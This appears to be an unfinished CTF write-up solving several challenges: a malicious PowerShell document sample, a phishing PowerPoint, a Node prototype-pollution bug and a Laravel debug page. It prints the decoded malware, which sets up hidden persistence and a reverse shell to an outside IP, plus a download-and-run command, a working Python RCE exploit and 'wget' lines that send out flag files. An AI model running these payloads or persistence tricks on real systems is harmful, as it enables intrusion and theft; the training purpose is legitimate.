 #   i n s t a l l a t i o n 
 }   e l s e   { 
         
 
         i f   ( $ F A L S E   - e q   ( T e s t - P a t h   - P a t h   " H K C U : \ S o f t w a r e \ $ ( $ r e g p ) \ " ) )   { 
                 N e w - I t e m   - P a t h   " H K C U : \ S o f t w a r e \ $ ( $ r e g p ) " ; 
         } 
         S e t - I t e m P r o p e r t y   - P a t h   " H K C U : \ S o f t w a r e \ $ ( $ r e g p ) "   - N a m e   " $ ( $ r e g n ) "   - F o r c e   - V a l u e   $ p a y l o a d B a s e 6 4 ; 
         
         
         $ u   =   [ E n v i r o n m e n t ] : : U s e r N a m e ; 
         
         
         $ t a s k   =   G e t - S c h e d u l e d T a s k   - T a s k N a m e   " $ ( $ r e g p ) $ ( $ r e g n ) "   - e a   S i l e n t l y C o n t i n u e ; 
         i f   ( $ t a s k )   { 
                 U n r e g i s t e r - S c h e d u l e d T a s k   - T a s k N a m e   " $ ( $ r e g p ) $ ( $ r e g n ) "   - C o n f i r m : $ f a l s e ; 
         } 
         
         
         $ a   =   N e w - S c h e d u l e d T a s k A c t i o n   - E x e c u t e   " p o w e r s h e l l . e x e "   " - w   h i d d e n   - E x e c u t i o n P o l i c y   B y p a s s   - n o p   - N o E x i t   - C   W r i t e - h o s t   ' W i n d o w s   u p d a t e   r e a d y ' ;   i e x   ( [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ( G e t - I t e m P r o p e r t y   H K C U : \ S o f t w a r e \ $ ( $ r e g p ) ) . $ ( $ r e g n ) ) ) ) ; " ; 
         $ t   =   N e w - S c h e d u l e d T a s k T r i g g e r   - A t L o g O n   - U s e r   " $ ( $ u ) " ; 
         $ p   =   N e w - S c h e d u l e d T a s k P r i n c i p a l   " $ ( $ u ) " ; 
         $ s   =   N e w - S c h e d u l e d T a s k S e t t i n g s S e t   - H i d d e n ; 
         $ d   =   N e w - S c h e d u l e d T a s k   - A c t i o n   $ a   - T r i g g e r   $ t   - P r i n c i p a l   $ p   - S e t t i n g s   $ s ; 
         R e g i s t e r - S c h e d u l e d T a s k   " $ ( $ r e g p ) $ ( $ r e g n ) "   - I n p u t O b j e c t   $ d ; 
 } 
 
 
 i e x   ( [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ p a y l o a d B a s e 6 4 ) ) ) ; 
 
 

The command is encoded in base 64. Use a base64 decoder to decode the string. This is the decoded string:

. ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} ))  )


$payloadBase64 = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADYALgAyADMAMwAzAC4ANQA0AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==";


SEt ("G8"+"h")  (  " ) )63]Rahc[,'raZ'EcalPeR-  43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[(  eCAlpERc-  )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . "  ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue.LengtH)] | IeX 

Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
';
[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);


if ($payloadBase64 -match "http:|https:") {
    $payloadBase64 = (New-Object "Net.Webclient").DownloadString($payloadBase64);
}

$installed = Get-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -ea SilentlyContinue;


if ($installed) {


    if ($installed -ne $payloadBase64) {
        Set-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -Force -Value $payloadBase64;
    }

# installation
} else {
    

    if ($FALSE -eq (Test-Path -Path "HKCU:\Software\$($regp)\")) {
        New-Item -Path "HKCU:\Software\$($regp)";
    }
    Set-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -Force -Value $payloadBase64;
    
    
    $u = [Environment]::UserName;
    
    
    $task = Get-ScheduledTask -TaskName "$($regp)$($regn)" -ea SilentlyContinue;
    if ($task) {
        Unregister-ScheduledTask -TaskName "$($regp)$($regn)" -Confirm:$false;
    }
    
    
    $a = New-ScheduledTaskAction -Execute "powershell.exe" "-w hidden -ExecutionPolicy Bypass -nop -NoExit -C Write-host 'Windows update ready'; iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\$($regp)).$($regn))));";
    $t = New-ScheduledTaskTrigger -AtLogOn -User "$($u)";
    $p = New-ScheduledTaskPrincipal "$($u)";
    $s = New-ScheduledTaskSettingsSet -Hidden;
    $d = New-ScheduledTask -Action $a -Trigger $t -Principal $p -Settings $s;
    Register-ScheduledTask "$($regp)$($regn)" -InputObject $d;
}


iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payloadBase64)));

There is something weird with all this string manipulation…

. ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} ))  )

SEt ("G8"+"h")  (  " ) )63]Rahc[,'raZ'EcalPeR-  43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[(  eCAlpERc-  )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . "  ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue.LengtH)] | IeX

Create a powershell script to investigate the strings.

echo ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} ))  )
#echo $PshomE[4]+$pshoMe[30]+'x'

SEt ("G8"+"h")  (  " ) )63]Rahc[,'raZ'EcalPeR-  43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[(  eCAlpERc-  )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . "  ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H")  ).VALue.LengtH)] #| IeX 
#echo $G8h

echo ( $vERBOsEpReFereNcE.toSTriNG()[1,3]+'x'-jOin'') ( (('Za'+'rreg'+'n = 1N2_'+'the_n'+'ew_meta}'+'1'+'N'+'2;')  -cREplACe  ([chaR]49+[chaR]78+[chaR]50),[chaR]34  -RePlacE'Zar',[chaR]36) )

We can read the flag ‘{maldocs_are_the_new_meta}’

iex
('iqwreg'+'p ='+' jXtCH'+'T'+'B{'+'maldocs_arej'+'Xt;').REPLACe('iqw','$').REPLACe('jXt',[sTRInG][chAR]34) |&( $sheLLiD[1]+$sHeLlID[13]+'x')
 . ( $vERBOsEpReFereNcE.toSTriNG()[1,3]+'x'-jOin'') ( (('Za'+'rreg'+'n = 1N2_'+'the_n'+'ew_meta}'+'1'+'N'+'2;')  -cREplACe  ([chaR]49+[chaR]78+[chaR]50),[chaR]34  -RePlacE'Zar',[chaR]36) )
iex
$regn = "_the_new_meta}";

CHTB{maldocs_are_the_new_meta}

AlienPhish

This PowerPoint presentation was sent to the top leadership of the human resistance effort. We believe it was an attempt by the aliens to phish into our networks. Find the malicious payload and the flag.

  • Download the Powerpoint file Alien Weaknesses.pptx.
  • Rename the file to Alien Weaknesses.zip and open it using an Archive manager like 7z to see the content of the zip file.

/slides/slide1.xml

Action Plan: Take Back Earth

/slides/_rels/slide1.xml.rels

It contains malicious code.

<Relationships>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&&for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&&if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22" TargetMode="External"/>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.png"/>
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="cmd.exe" TargetMode="External"/>
</Relationships>

Decode the code (encoded as URL).

cmd.exe /V:ON/C"set yM="o$ eliftuo- exe.x/neila.htraeyortsed/:ptth rwi ;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'   pmet:vne$ = o$" c- llehsrewop&&for /L %X in (122;-1;0)do set kCX=!kCX!!yM:~%X,1!&&if %X leq 0 call %kCX:*kCX!=%"

This is a Powershell command but reversed…

powershell -c "$o = $env:temp   'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"

Decode Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99 as base64url. Use CyberChef, drag & drop Magic in Recipe.

CHTB{pH1sHiNg_w0_m4crMHM_??}

CHTB{pH1sHiNg_w0_m4cr0s???}

Web

BlitzProp

A tribute page for the legendary alien band called BlitzProp!

It’s Prototype Property Pollution, refer to HTB CTF Write-up: Gunship and AST Injection, Prototype Pollution to RCE.

In challenge/routes/index.js

Inspection of the source code shows prototype pollution in unflatten. The vulnerable parameter is song.name in /api/submit.

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

module.exports = router;

Write python exploit based on other HTB write-up…

wget http://myhost/?$(ls)
then
wget http://myhost?$(cat flag*)
import requests

TARGET_URL = 'http://165.227.232.115:32023'

# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {
    "song.name":"Not Polluting with the boys",
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`ls > /app/static/out`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
    })

print(r.status_code)
print(r.text)

print(requests.get(TARGET_URL+'/static/out').text)

…

Alien complaint form

The Aliens found a cool new security feature called CSP and have since implemented it into their HR Complaint Form. There are reports that any issues reported by humans are not taken into account and instead deleted. The Human resistance has left a backdoor in the website that can be used to acquire sensitive information from the Aliens. Can you find it?

Download the code. We can find information from index.js

We can obtain the list of complaints accessing http://165.227.231.249:31714/list.html or calling the API

GET /api/jsonp HTTP/1.1
Host: 165.227.231.249:31714
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://165.227.231.249:31714/
Content-Type: application/json
Origin: http://165.227.231.249:31714
Content-Length: 0
DNT: 1
Connection: close


HTTP/1.1 200 OK
content-type: application/javascript
content-length: 397
Date: Thu, 22 Apr 2021 18:50:07 GMT
Connection: close

display([{"id":1,"complaint":"Employee #1655 resolved to slurs once a mistake was pointed out.","species":"Alien","created_at":"2021-04-22 18:49:06"},{"id":2,"complaint":"Employee #7843 ate my intergalactic donut.","species":"Alien","created_at":"2021-04-22 18:49:06"},{"id":3,"complaint":"Employee #4933 made coffee for everyone except me.","species":"Alien","created_at":"2021-04-22 18:49:06"}])

DaaS

We suspect this server holds valuable information that would further benefit our cause, but we’ve hit a dead end with this debug page running on a known framework called Laravel. Surely we couldn’t exploit this further.. right?

Spider the website using Gobuster.
URL="http://138.68.177.159:31365"                                                                                                  1 ⨯
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e

http://138.68.177.159:31365/.htaccess            (Status: 200) [Size: 603]
http://138.68.177.159:31365/favicon.ico          (Status: 200) [Size: 0]  
http://138.68.177.159:31365/index.php            (Status: 200) [Size: 17474]
http://138.68.177.159:31365/robots.txt           (Status: 200) [Size: 24]   
http://138.68.177.159:31365/storage              (Status: 301) [Size: 178] [--> http://138.68.177.159/storage/]
http://138.68.177.159:31365/web.config           (Status: 200) [Size: 1194]

http://138.68.177.159:31365/.htaccess

<IfModule mod_rewrite.c>
    <IfModule mod_negotiation.c>
        Options -MultiViews -Indexes
    </IfModule>

    RewriteEngine On

    # Handle Authorization Header
    RewriteCond %{HTTP:Authorization} .
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

    # Redirect Trailing Slashes If Not A Folder...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} (.+)/$
    RewriteRule ^ %1 [L,R=301]

    # Send Requests To Front Controller...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]
</IfModule>

robots.txt

User-agent: *
Disallow:

web.config

<!--
    Rewrites requires Microsoft URL Rewrite Module for IIS
    Download: https://www.microsoft.com/en-us/download/details.aspx?id=47337
    Debug Help: https://docs.microsoft.com/en-us/iis/extensions/url-rewrite-module/using-failed-request-tracing-to-trace-rewrite-rules
-->
<configuration>
  <system.webServer>
    <rewrite>
      <rules>
        <rule name="Imported Rule 1" stopProcessing="true">
          <match url="^(.*)/$" ignoreCase="false" />
          <conditions>
            <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
          </conditions>
          <action type="Redirect" redirectType="Permanent" url="/{R:1}" />
        </rule>
        <rule name="Imported Rule 2" stopProcessing="true">
          <match url="^" ignoreCase="false" />
          <conditions>
            <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
            <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
          </conditions>
          <action type="Rewrite" url="index.php" />
        </rule>
      </rules>
    </rewrite>
  </system.webServer>
</configuration>

http://138.68.177.159:31365/favicon.ico

The image "http://138.68.177.159:31365/favicon.ico" cannot be displayed, because it contains errors.

Change content type using Burp Suite to intercept requests.

https://tag-generator.kringlecastle.com/image?id=../tmp/generated-image-id.png

Not done yet